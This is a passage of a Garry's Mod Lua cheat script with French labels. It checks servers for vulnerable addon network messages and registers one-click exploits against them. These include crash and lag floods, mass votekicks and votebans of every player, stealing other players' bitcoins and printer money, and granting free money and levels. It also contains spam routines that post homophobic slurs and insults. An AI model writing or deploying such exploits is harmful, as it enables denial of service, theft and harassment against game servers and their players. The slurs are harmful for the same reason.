7328status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
7329if (status) then
7330CHATPRINT("Exploit Trouvé : Faire Crash #2 [pac.net.TouchFlexes.ClientNotify]")
7331addExploit( "24","Crasher #2", "big lagz", function()
7332surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "crasher2" ) then
7333timer.Create("crasher2", 0, 0, function()
7334for i = 1, 400 do
7335net.Start("pac.net.TouchFlexes.ClientNotify")
7336net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
7337net.SendToServer()
7338end
7339end)
7340--("Starting Crasher")
7341else
7342timer.Remove("crasher2")
7343--("Stopping Crasher")
7344end
7345end)
7346end
7347
7348status = ValidNetString("BM2.Command.SellBitcoins")
7349if (status) then
7350CHATPRINT("Exploit Trouvé : Vendre Vos Bitcoins [BM2.Command.SellBitcoins]")
7351addExploit( "25","Vendre Vos Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
7352surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
7353net.Start("BM2.Command.SellBitcoins")
7354net.WriteEntity(v)
7355net.SendToServer()
7356end
7357for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
7358net.Start("BM2.Command.SellBitcoins")
7359net.WriteEntity(v)
7360net.SendToServer()
7361end
7362for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
7363net.Start("BM2.Command.SellBitcoins")
7364net.WriteEntity(v)
7365net.SendToServer()
7366end
7367end)
7368end
7369
7370status = ValidNetString("BM2.Command.Eject")
7371if (status) then
7372CHATPRINT("Exploit Trouvé : Crée Des Lags #4 [BM2.Command.Eject]")
7373addExploit( "26","Crée Des Lags #4", "", function()
7374surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger4" ) then
7375timer.Create("lagger4", 0, 0, function()
7376for i = 1, 1000 do
7377net.Start("BM2.Command.Eject",true)
7378net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
7379net.SendToServer()
7380end
7381end)
7382--("Lags Démarré")
7383else
7384timer.Remove("lagger4")
7385--("Lags Arreté")
7386end
7387end)
7388end
7389
7390status = ValidNetString("BM2.Command.SellBitcoins")
7391if (status) then
7392CHATPRINT("Exploit Trouvé : Crée Des Lags #5 [BM2.Command.SellBitcoins]")
7393addExploit( "27","Crée Des Lags #5", "", function()
7394surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("lagger5", 0, 0, function()
7395for i=1,1000 do
7396net.Start("BM2.Command.SellBitcoins",true)
7397net.WriteEntity(LocalPlayer())
7398net.SendToServer()
7399end
7400end )
7401end )
7402end
7403
7404status = ValidNetString("ItemStoreUse")
7405if (status) then
7406CHATPRINT("Exploit Trouvé : Crée Des Lags #6 [ItemStoreUse]")
7407addExploit( "28","Crée Des Lags #6", "", function()
7408surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger6" ) then
7409timer.Create("lagger6", 0, 0, function()
7410for i = 1, 1000 do
7411net.Start("ItemStoreUse",true)
7412net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
7413net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
7414net.SendToServer()
7415end
7416end)
7417--("Lags Démarré")
7418else
7419timer.Remove("lagger6")
7420--("Lags Arreté")
7421end
7422end)
7423end
7424
7425status = ValidNetString("ItemStoreDrop")
7426if (status) then
7427CHATPRINT("Exploit Trouvé : Crée Des Lags #7 [ItemStoreDrop]")
7428addExploit( "29","Crée Des Lags #7", "", function()
7429surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger7" ) then
7430timer.Create("lagger7", 0, 0, function()
7431for i = 1, 1000 do
7432net.Start("ItemStoreDrop",true)
7433net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
7434net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
7435net.SendToServer()
7436end
7437end)
7438--("Lags Démarré")
7439else
7440timer.Remove("lagger7")
7441--("Lags Arreté")
7442end
7443end)
7444end
7445
7446status = ValidNetString("gMining.sellMineral")
7447if (status) then
7448CHATPRINT("Exploit Trouvé : Crée Des Lags #8 [gMining.sellMineral]")
7449addExploit( "30","Crée Des Lags #8", "", function()
7450surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7451if !timer.Exists( "lagger8" ) then
7452timer.Create("lagger8", 0, 0, function()
7453for i = 1, 1000 do
7454net.Start("gMining.sellMineral",true)
7455net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
7456net.WriteString(" ")
7457net.SendToServer()
7458end
7459end )
7460end
7461end )
7462end
7463
7464status = ValidNetString("PlayerUseItem")
7465if (status) then
7466CHATPRINT("Exploit Trouvé : Crée Des Lags #9 [PlayerUseItem]")
7467addExploit( "31","Crée Des Lags #9", "", function()
7468surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger9" ) then
7469timer.Create("lagger9", 0,0, function()
7470for i = 1, 800 do
7471net.Start("PlayerUseItem",true)
7472net.WriteInt(99999999999999999999999999999999999999999999999, 32)
7473net.SendToServer()
7474end
7475end)
7476--("Lags Démarré")
7477else
7478timer.Remove("lagger9")
7479--("Lags Arreté")
7480end
7481end)
7482end
7483
7484status = ValidNetString("RequestMAPSize")
7485if (status) then
7486CHATPRINT("Exploit Trouvé : Crée Des Lags #10 [RequestMAPSize]")
7487addExploit( "32","Crée Des Lags #10", "", function()
7488surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger10" ) then
7489timer.Create("lagger10", 0, 0, function()
7490for i = 1, 400 do
7491net.Start("RequestMAPSize",true)
7492net.SendToServer()
7493end
7494end)
7495--("Lags Démarré")
7496else
7497timer.Remove("lagger10")
7498--("Lags Arreté")
7499end
7500end )
7501end
7502
7503status = ValidNetString("MG2.Request.GangRankings")
7504if (status) then
7505CHATPRINT("Exploit Trouvé : Crée Des Lags #11 [MG2.Request.GangRankings]")
7506addExploit( "33","Crée Des Lags #11", "", function()
7507surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") if !timer.Exists( "lagger11" ) then
7508timer.Create("lagger11", 0, 0, function()
7509for i = 1, 1000 do
7510net.Start("MG2.Request.GangRankings",true)
7511net.SendToServer()
7512end
7513end)
7514--("Lags Démarré")
7515else
7516timer.Remove("lagger11")
7517--("Lags Arreté")
7518end
7519end )
7520end
7521
7522status = ValidNetString("dLogsGetCommand")
7523if (status) then
7524CHATPRINT("Exploit Trouvé : Crée Des Lags #12 [dLogsGetCommand]")
7525addExploit( "34","Crée Des Lags #12", "", function()
7526surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Lags Démarré")
7527for i=1,7000 do
7528net.Start("dLogsGetCommand",true)
7529net.WriteTable({ cmd = "+forward" , args = " " })
7530net.SendToServer()
7531end
7532end )
7533end
7534
7535status = ValidNetString("ats_send_toServer")
7536if (status) then
7537CHATPRINT("Exploit Trouvé : Crée Des Lags #13 [ats_send_toServer]")
7538addExploit( "35","Crée Des Lags #13", "", function()
7539surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Lags Démarré")
7540for i=1,2000 do
7541net.Start("ats_send_toServer",true)
7542net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
7543net.SendToServer()
7544end
7545end )
7546end
7547
7548status = ValidNetString("shopguild_buyitem")
7549if (status) then
7550CHATPRINT("Exploit Trouvé : Exploit De Guildes [shopguild_buyitem]")
7551addExploit( "36","Exploit De Guildes", "", function()
7552surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") CHATPRINT("Guild level successfully upgraded")
7553local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
7554if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then level = tonumber(LocalPlayer():GetNWInt("lvlguild")) end
7555net.Start("shopguild_buyitem")
7556net.WriteString("lvl")
7557net.WriteDouble(level)
7558net.WriteString("Guild Level "..level)
7559net.WriteEntity(LocalPlayer())
7560net.WriteUInt(2,4)
7561net.WriteDouble(0)
7562net.SendToServer()
7563level = level + 1
7564end )
7565end
7566
7567status = ValidNetString("VoteKickNO")
7568if (status) then
7569CHATPRINT("Exploit Trouvé : Votekick [VoteKickNO]")
7570addExploit( "37","Votekick", "kicking all", function()
7571surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") for k,v in pairs(player.GetAll()) do
7572net.Start("VoteKickNO")
7573net.WriteFloat(v:EntIndex())
7574net.WriteFloat(6)
7575net.SendToServer()
7576net.Start("VoteKickNO")
7577net.WriteFloat(v:EntIndex())
7578net.WriteFloat(6)
7579net.SendToServer()
7580net.Start("VoteKickNO")
7581net.WriteFloat(v:EntIndex())
7582net.WriteFloat(6)
7583net.SendToServer()
7584net.Start("VoteKickNO")
7585net.WriteFloat(v:EntIndex())
7586net.WriteFloat(6)
7587net.SendToServer()
7588end
7589end )
7590end
7591
7592status = ValidNetString("VoteBanNO")
7593if (status) then
7594CHATPRINT("Exploit Trouvé : Voteban [VoteBanNO]")
7595addExploit( "38","Voteban", "bans all", function()
7596surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") for k,v in pairs(player.GetAll()) do
7597net.Start("VoteBanNO")
7598net.WriteFloat(v:EntIndex())
7599net.WriteFloat(8)
7600net.SendToServer()
7601net.Start("VoteBanNO")
7602net.WriteFloat(v:EntIndex())
7603net.WriteFloat(8)
7604net.SendToServer()
7605net.Start("VoteBanNO")
7606net.WriteFloat(v:EntIndex())
7607net.WriteFloat(8)
7608net.SendToServer()
7609end
7610end )
7611end
7612
7613status = ValidNetString("NewReport")
7614if (status) then
7615CHATPRINT("Exploit Trouvé : Report Modifié [NewReport]")
7616addExploit( "39","Report Modifié", "", function()
7617surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") for k,v in pairs(player.GetAll()) do
7618net.Start("NewReport")
7619net.WriteType(ply)
7620net.WriteInt(8,5)
7621net.WriteString("hahaha")
7622net.SendToServer()
7623end
7624end )
7625end
7626
7627status = ValidNetString("Warn_CreateWarn")
7628if (status) then
7629CHATPRINT("Exploit Trouvé : Warns Modifiés [Warn_CreateWarn]")
7630addExploit( "40","Warns Modifiés", "", function()
7631surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") for k,v in pairs(player.GetAll()) do
7632net.Start("Warn_CreateWarn")
7633net.WriteEntity(ply)
7634net.WriteString("hahaha")
7635net.SendToServer()
7636end
7637end )
7638end
7639
7640status = ValidNetString("showDisguiseHUD")
7641if (status) then
7642CHATPRINT("Exploit Trouvé : Déguisements #2 [showDisguiseHUD]")
7643addExploit( "41","Déguisements #2", "", function()
7644surface.PlaySound( "mat/evilclick.wav" )
7645PlayerCount = 0
7646for k, v in pairs(player.GetAll()) do
7647PlayerCount = PlayerCount + 1
7648end
7649local TeamNum
7650local disguise_Model_Preview_Default
7651local BDMenu = vgui.Create("DFrame")
7652BDMenu:SetSize(300,420)
7653BDMenu:Center()
7654BDMenu:SetTitle(" ")
7655BDMenu:ShowCloseButton(false)
7656BDMenu:MakePopup()
7657function BDMenu:Paint()
7658DrawBlur(self, blur_effect:GetInt())
7659draw.RoundedBoxEx( 0, 0, 0, BDMenu:GetWide(), BDMenu:GetTall(), Color(20,20,20,200),false,true)
7660draw.RoundedBox( 5, 0, 0, 5, h, Color( 20, 20, 20, 60 ) )
7661draw.RoundedBox( 5, 0, 0, w, 5, Color( 20, 20, 20, 60 ) )
7662draw.RoundedBox( 5, w - 5, 0, 5, h, Color( 20, 20, 20, 60 ) )
7663draw.RoundedBox( 5, 0, h - 5, w, 5, Color( 20, 20, 20, 60 ) )
7664end
7665local ExitButton = vgui.Create("DButton", BDMenu)
7666ExitButton:SetPos(280,0)
7667ExitButton:SetText("X")
7668ExitButton:SetSize(20,20)
7669ExitButton:SetFont("Default")
7670ExitButton.Paint = function()
7671ExitButton:SetTextColor(Color(255,255,255,255))
7672if ExitButton:IsHovered() then
7673draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,100,100,255),false,true)
7674else
7675draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,50,50,0),false,true)
7676end
7677end
7678function ExitButton.DoClick()
7679BDMenu:Remove()
7680net.Start("changeToPhysgun")
7681net.SendToServer()
7682end
7683local DTeamChoice = vgui.Create("DComboBox", BDMenu)
7684DTeamChoice:SetSize(150, 22)
7685DTeamChoice:SetPos(75, 50)
7686DTeamChoice:SetValue("Choisi L'Emplois")
7687for k, v in pairs(team.GetAllTeams()) do
7688if !(HIDDEN_TEAMS[ k ] ) and (team.NumPlayers(k) ~= 0) then DTeamChoice:AddChoice(team.GetName(k)) end
7689end
7690DTeamChoice.OnSelect = function(panel, index, value)
7691for k,_ in pairs(team.GetAllTeams()) do
7692if value == team.GetName(k) then
7693for _, v in pairs(player.GetAll())do
7694if v:Team() == k then
7695TeamNum = v:Team()
7696disguise_Model_Preview_Default = v:GetModel()
7697end
7698end
7699end
7700end
7701timer.Create("RefreshModel", 0.1, 0, function()
7702local icon = vgui.Create( "DModelPanel", BDMenu )
7703icon:SetSize(300, 260)
7704icon:SetPos(-5, 80)
7705icon:SetFOV(68)
7706icon:SetModel( disguise_Model_Preview_Default )
7707timer.Simple(0.1, function()
7708icon:Remove()
7709end)
7710end)
7711local DisguiseButton = vgui.Create("DButton", BDMenu)
7712DisguiseButton:SetPos(BDMenu:GetWide()/2.5, 360)
7713DisguiseButton:SetSize(60,20)
7714DisguiseButton:SetText("Accepter")
7715DisguiseButton:SetFont("DermaDefaultBold")
7716function DisguiseButton:Paint()
7717if DisguiseButton:IsHovered() then
7718draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,100,100,255),false,true)
7719else
7720draw.RoundedBoxEx(0,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,50,50,255),false,true)
7721end
7722end
7723function DisguiseButton:DoClick()
7724NOTIFICATION("Exploit lançé")
7725net.Start("SetPlayerModel")
7726if ChosenName == nil then
7727net.WriteString(LocalPlayer():Nick())
7728else
7729net.WriteString(ChosenName)
7730end
7731net.WriteUInt(TeamNum, 16)
7732net.SendToServer()
7733BDMenu:Close()
7734net.Start("changeToPhysgun")
7735net.SendToServer()
7736end
7737end
7738end
7739)
7740end
7741
7742status = ValidNetString("Chatbox_PlayerChat")
7743if (status) then
7744CHATPRINT("Exploit Trouvé : Spam Chat [Chatbox_PlayerChat]")
7745addExploit( "42","Spam Chat", "", function()
7746surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") timer.Create("willoxchatspam", 1, 0, function()
7747net.Start("Chatbox_PlayerChat")
7748net.WriteEntity(LocalPlayer())
7749net.WriteBit(1)
7750net.WriteString("FAGGOTS")
7751net.WriteBit(1)
7752net.SendToServer()
7753end )
7754end )
7755end
7756
7757status = ValidNetString("BuilderXToggleKill")
7758if (status) then
7759CHATPRINT("Exploit Trouvé : Exploits Constructeur Contre Tueur [BuilderXToggleKill]")
7760addExploit( "43","Exploits Constructeur Contre Tueur", "", function()
7761surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7762for k, v in pairs(player.GetAll()) do
7763net.Start("BuilderXToggleKill")
7764net.WriteEntity(ply)
7765net.SendToServer()
7766end
7767end )
7768end
7769
7770status = ValidNetString("reports.submit")
7771if (status) then
7772CHATPRINT("Exploit Trouvé : Report Tout Le Monde [reports.submit]")
7773addExploit( "44","Report Tout Le Monde", "", function()
7774surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7775for k,v in pairs(player.GetAll()) do
7776net.Start("reports.submit")
7777net.WriteEntity(v)
7778net.WriteInt(5, 8)
7779net.WriteString("SuckMyDick")
7780net.SendToServer()
7781end
7782end )
7783end
7784
7785status = ValidNetString("services_accept")
7786if (status) then
7787CHATPRINT("Exploit Trouvé : Spam Services [services_accept]")
7788addExploit( "45","Spam Services", "spam to all players", function()
7789surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7790timer.Create("serviceaccept", 0, 0, function()
7791for k,v in pairs(player.GetAll()) do
7792net.Start("services_accept")
7793net.WriteString("Sécurité En Carton - Seized By evil")
7794net.WriteVector(Vector(v:GetPos()))
7795net.WriteString("test image")
7796net.WriteEntity(v)
7797net.SendToServer()
7798end
7799end )
7800timer.Simple(4, function()
7801timer.Destroy("serviceaccept")
7802end )
7803end )
7804end
7805
7806status = ValidNetString("lockpick_sound")
7807if (status) then
7808CHATPRINT("Exploit Trouvé : LockPick Spam Son [lockpick_sound]")
7809addExploit( "46","LockPick Spam Son", "", function()
7810surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7811timer.Create( "spamlockpicksound", 3, 0, function()
7812for k, v in pairs( player.GetAll() ) do
7813net.Start("lockpick_sound")
7814net.WriteEntity(v)
7815net.SendToServer()
7816end
7817end )
7818timer.Simple(4, function()
7819timer.Destroy("spamlockpicksound")
7820end )
7821end )
7822end
7823
7824status = ValidNetString("customprinter_get")
7825if (status) then
7826CHATPRINT("Exploit Trouvé : Voler L'Argents Des Printers [customprinter_get]")
7827addExploit( "47","Voler L'Argents Des Printers", "", function()
7828surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7829for k, v in pairs(ents.GetAll()) do
7830if v:GetClass():find("print") then
7831net.Start("customprinter_get")
7832net.WriteEntity(v)
7833net.WriteString("g_money")
7834net.SendToServer()
7835end
7836end
7837end )
7838end
7839
7840status = ValidNetString("InformPlayer")
7841if (status) then
7842CHATPRINT("Exploit Trouvé : SimpleGrab Inform [InformPlayer]")
7843addExploit( "48","SimpleGrab Inform", "", function()
7844surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7845for k,v in pairs(player.GetAll()) do
7846for i = 0, 100 do
7847net.Start("InformPlayer")
7848net.WriteEntity(v)
7849net.SendToServer()
7850end
7851end
7852end )
7853end
7854
7855status = ValidNetString("pogcp_report_submitReport")
7856if (status) then
7857CHATPRINT("Exploit Trouvé : Report Tout Le Monde #2 [pogcp_report_submitReport]")
7858addExploit( "49","Report Tout Le Monde #2", "", function()
7859surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7860for i = 0, 100 do
7861for k,v in pairs(player.GetAll()) do
7862net.Start("pogcp_report_submitReport")
7863net.WriteString("lol")
7864net.WriteString("88 Triggering :c")
7865net.WriteEntity(v)
7866net.SendToServer()
7867end
7868end
7869end )
7870end
7871
7872status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
7873if (status) then
7874CHATPRINT("Exploit Trouvé : Candidature De Dictateur Instant [1942_Fuhrer_SubmitCandidacy]")
7875addExploit( "50","Candidature De Dictateur Instant", "", function()
7876surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7877net.Start("1942_Fuhrer_SubmitCandidacy")
7878net.WriteString(LocalPlayer():Nick())
7879net.SendToServer()
7880end )
7881end
7882
7883status = ValidNetString("FacCreate")
7884if (status) then
7885CHATPRINT("Exploit Trouvé : Fac Create [FacCreate]")
7886addExploit( "51","Fac Create", "old exploit", function()
7887surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7888timer.Create("fucklol", 1, 0, function()
7889net.Start("FacCreate")
7890net.WriteString("LOL " .. random_string(5))
7891net.WriteString("LOL " .. random_string(10))
7892net.WriteColor(random_color())
7893net.WriteBool(false)
7894net.WriteString(random_string(5))
7895net.SendToServer()
7896end )
7897end )
7898end
7899
7900status = ValidNetString("FactionInviteConsole")
7901if (status) then
7902CHATPRINT("Exploit Trouvé : Faction Invite [FactionInviteConsole]")
7903addExploit( "52","Faction Invite", "", function()
7904surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7905timer.Create("lovedarkexploitsxd", 1, 0, function()
7906for k, v in pairs(player.GetAll()) do
7907net.Start("FactionInviteConsole")
7908net.WriteEntity( ply )
7909net.WriteEntity(table.Random(player.GetAll()))
7910net.SendToServer()
7911end
7912end )
7913end )
7914end
7915
7916status = ValidNetString("WithdrewBMoney")
7917if (status) then
7918CHATPRINT("Exploit Trouvé : Argent Gratuite #2 [WithdrewBMoney]")
7919addExploit( "53","Argent Gratuite #2", "Exploit Provenant De L'addon 'business'", function()
7920surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7921net.Start("WithdrewBMoney")
7922net.WriteInt(50000,32)
7923net.SendToServer()
7924end )
7925end
7926
7927status = ValidNetString("deathrag_takeitem")
7928if (status) then
7929CHATPRINT("Exploit Trouvé : Items Faciles [deathrag_takeitem]")
7930addExploit( "54","Items Faciles", "collects money, weapons", function()
7931surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7932count = 0
7933for k, v in pairs( ents.GetAll() ) do
7934if v:GetClass() == "prop_ragdoll" then
7935count = count + 1
7936end
7937end
7938if count == 0 then
7939CHATPRINT("No items found")
7940else
7941CHATPRINT("Amount of items "..count)
7942end
7943for k, v in pairs( ents.GetAll() ) do
7944if v:GetClass() == "prop_ragdoll" then
7945for i=1,10 do
7946net.Start("deathrag_takeitem")
7947net.WriteEntity( v )
7948net.WriteInt(i,16)
7949net.SendToServer()
7950end
7951end
7952end
7953end )
7954end
7955
7956status = ValidNetString("REPPurchase")
7957if (status) then
7958CHATPRINT("Exploit Trouvé : Heal & Armure [REPPurchase]")
7959addExploit( "55","Heal & Armure", "armor and hp", function()
7960surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7961if LocalPlayer():Health() < 99 then
7962net.Start("REPPurchase")
7963net.WriteString("HEALTH")
7964net.SendToServer()
7965end
7966if LocalPlayer():Armor() < 99 then
7967net.Start("REPPurchase")
7968net.WriteString("ARMOR")
7969net.SendToServer()
7970end
7971end )
7972end
7973
7974status = ValidNetString("BTTTStartVotekick")
7975if (status) then
7976CHATPRINT("Exploit Trouvé : Votekick #2 [BTTTStartVotekick]")
7977addExploit( "56","Votekick #2", "kick all noobs", function()
7978surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7979for k,v in pairs(player.GetAll()) do
7980if v != LocalPlayer() then
7981net.Start("BTTTStartVotekick")
7982net.Start("_nonDBVMVote")
7983net.WriteEntity(v)
7984net.WriteString("")
7985net.WriteString("1")
7986net.SendToServer()
7987end
7988end
7989end )
7990end
7991
7992status = ValidNetString("Resupply")
7993if (status) then
7994CHATPRINT("Exploit Trouvé : ReSpawn Equipment [Resupply]")
7995addExploit( "57","ReSpawn Equipment", "", function()
7996surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
7997net.Start("Resupply")
7998net.SendToServer()
7999end )
8000end
8001
8002status = ValidNetString("DarkRP_Defib_ForceSpawn")
8003if (status) then
8004CHATPRINT("Exploit Trouvé : ReSpawn [DarkRP_Defib_ForceSpawn]")
8005addExploit( "58","ReSpawn #2", "just reSpawn", function()
8006surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("ReSpawn")
8007net.Start("DarkRP_Defib_ForceSpawn")
8008net.SendToServer()
8009end )
8010end
8011
8012status = ValidNetString("FiremanLeave")
8013if (status) then
8014CHATPRINT("Exploit Trouvé : Quitter Les Pompiers [FiremanLeave]")
8015addExploit( "59","Fireman Leave", "", function()
8016surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8017net.Start("FiremanLeave")
8018net.SendToServer()
8019end )
8020end
8021
8022status = ValidNetString("PoliceJoin")
8023if (status) then
8024CHATPRINT("Exploit Trouvé : Rejoindre La Police [PoliceJoin]")
8025addExploit( "60","Join the Police 1", "joining the police", function()
8026surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8027net.Start("PoliceJoin")
8028net.SendToServer()
8029end )
8030end
8031
8032status = ValidNetString("CreateEntity")
8033if (status) then
8034CHATPRINT("Exploit Trouvé : Crée Une Entité [CreateEntity]")
8035addExploit( "61","Create Entity", "", function()
8036surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8037for k,v in pairs(player.GetAll()) do
8038net.Start("CreateEntity")
8039net.WriteString("sent_arc_atm")
8040net.WriteFloat(100000000000000000000000000000000000000000000000000)
8041net.WriteEntity(v)
8042net.SendToServer()
8043end
8044end )
8045end
8046
8047status = ValidNetString("CREATE_REPORT")
8048if (status) then
8049CHATPRINT("Exploit Trouvé : Crée Des Reports [CREATE_REPORT]")
8050addExploit( "62","CREATE REPORT", "", function()
8051surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8052local tab = {
8053REPORTER = v:Nick(),
8054REPORTERID = v:SteamID(),
8055FAGGOT = v:Nick(),
8056FAGGOTID = v:SteamID(),
8057INFO = "Dite Bonjour A YouTube :D",
8058PROOF = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
8059}
8060for k,v in pairs(player.GetAll()) do
8061net.Start("CREATE_REPORT")
8062net.WriteTable(tab)
8063net.SendToServer()
8064end
8065end )
8066end
8067
8068status = ValidNetString("Hopping_Test")
8069if (status) then
8070CHATPRINT("Exploit Trouvé : Test De Bonheur [Hopping_Test]")
8071addExploit( "62","Hopping Test", "", function()
8072surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8073for k,v in pairs(player.GetAll()) do
8074net.Start("Hopping_Test")
8075net.WriteEntity(v)
8076net.WriteString("69.696.696969.69")
8077net.SendToServer()
8078end
8079end )
8080end
8081
8082status = ValidNetString("CpForm_Answers")
8083if (status) then
8084CHATPRINT("Exploit Trouvé : Rejoindre La Police [CpForm_Answers]")
8085addExploit( "63","Join the Police 2", "joining the police #2", function()
8086surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8087net.Start("CpForm_Answers")
8088net.WriteEntity(LocalPlayer())
8089net.WriteTable({})
8090net.SendToServer()
8091end )
8092end
8093
8094status = ValidNetString("VehicleUnderglow")
8095if (status) then
8096CHATPRINT("Exploit Trouvé : Néon De Véhicule [VehicleUnderglow]")
8097addExploit( "64","Vehicle Underglow", "", function()
8098surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8099net.Start("VehicleUnderglow")
8100net.SendToServer()
8101end )
8102end
8103
8104status = ValidNetString("OpenGates")
8105if (status) then
8106CHATPRINT("Exploit Trouvé : Ouvrir Porte #2 [OpenGates]")
8107addExploit( "65","Ouvrir Porte #2", "Force open the door you are looking at", function()
8108surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8109net.Start("OpenGates")
8110net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
8111net.SendToServer()
8112end )
8113end
8114
8115status = ValidNetString("DemotePlayer")
8116if (status) then
8117CHATPRINT("Exploit Trouvé : Démote Tout Les Joueurs [DemotePlayer]")
8118addExploit( "66","Demote All Players", "Demote all players", function()
8119surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8120for k, v in pairs(player.GetAll()) do
8121net.Start("DemotePlayer")
8122net.WriteString(v:SteamID())
8123net.SendToServer()
8124end
8125end )
8126end
8127
8128status = ValidNetString("SendMail")
8129if (status) then
8130CHATPRINT("Exploit Trouvé : Envoyez Mail [SendMail]")
8131addExploit( "67","Envoyez Mail", "sending mail to all players", function()
8132surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8133for k,v in pairs(player.GetAll()) do
8134net.Start("SendMail")
8135net.WriteString("Grosse sécurité les mecs ! :^)")
8136net.WriteString(v:Nick())
8137net.SendToServer()
8138end
8139end )
8140end
8141
8142status = ValidNetString("REPAdminChangeLVL")
8143if (status) then
8144CHATPRINT("Exploit Trouvé : Changer De Niveau [REPAdminChangeLVL]")
8145addExploit( "68","Admin Change Level", "free lvl", function()
8146surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8147for k,v in pairs(player.GetAll()) do
8148net.Start("REPAdminChangeLVL")
8149net.WriteEntity(v)
8150net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
8151net.SendToServer()
8152end
8153end )
8154end
8155
8156status = ValidNetString("BuyUpgradesStuff")
8157if (status) then
8158CHATPRINT("Exploit Trouvé : Achetez Amélioration [BuyUpgradesStuff]")
8159addExploit( "69","Buy Upgrades", "free upgrades", function()
8160surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
8161net.Start("BuyUpgradesStuff")
8162net.WriteString("")
8163net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
8164net.SendToServer()
8165end )
8166end
8167
8168status = ValidNetString("SquadGiveWeapon")
8169if (status) then
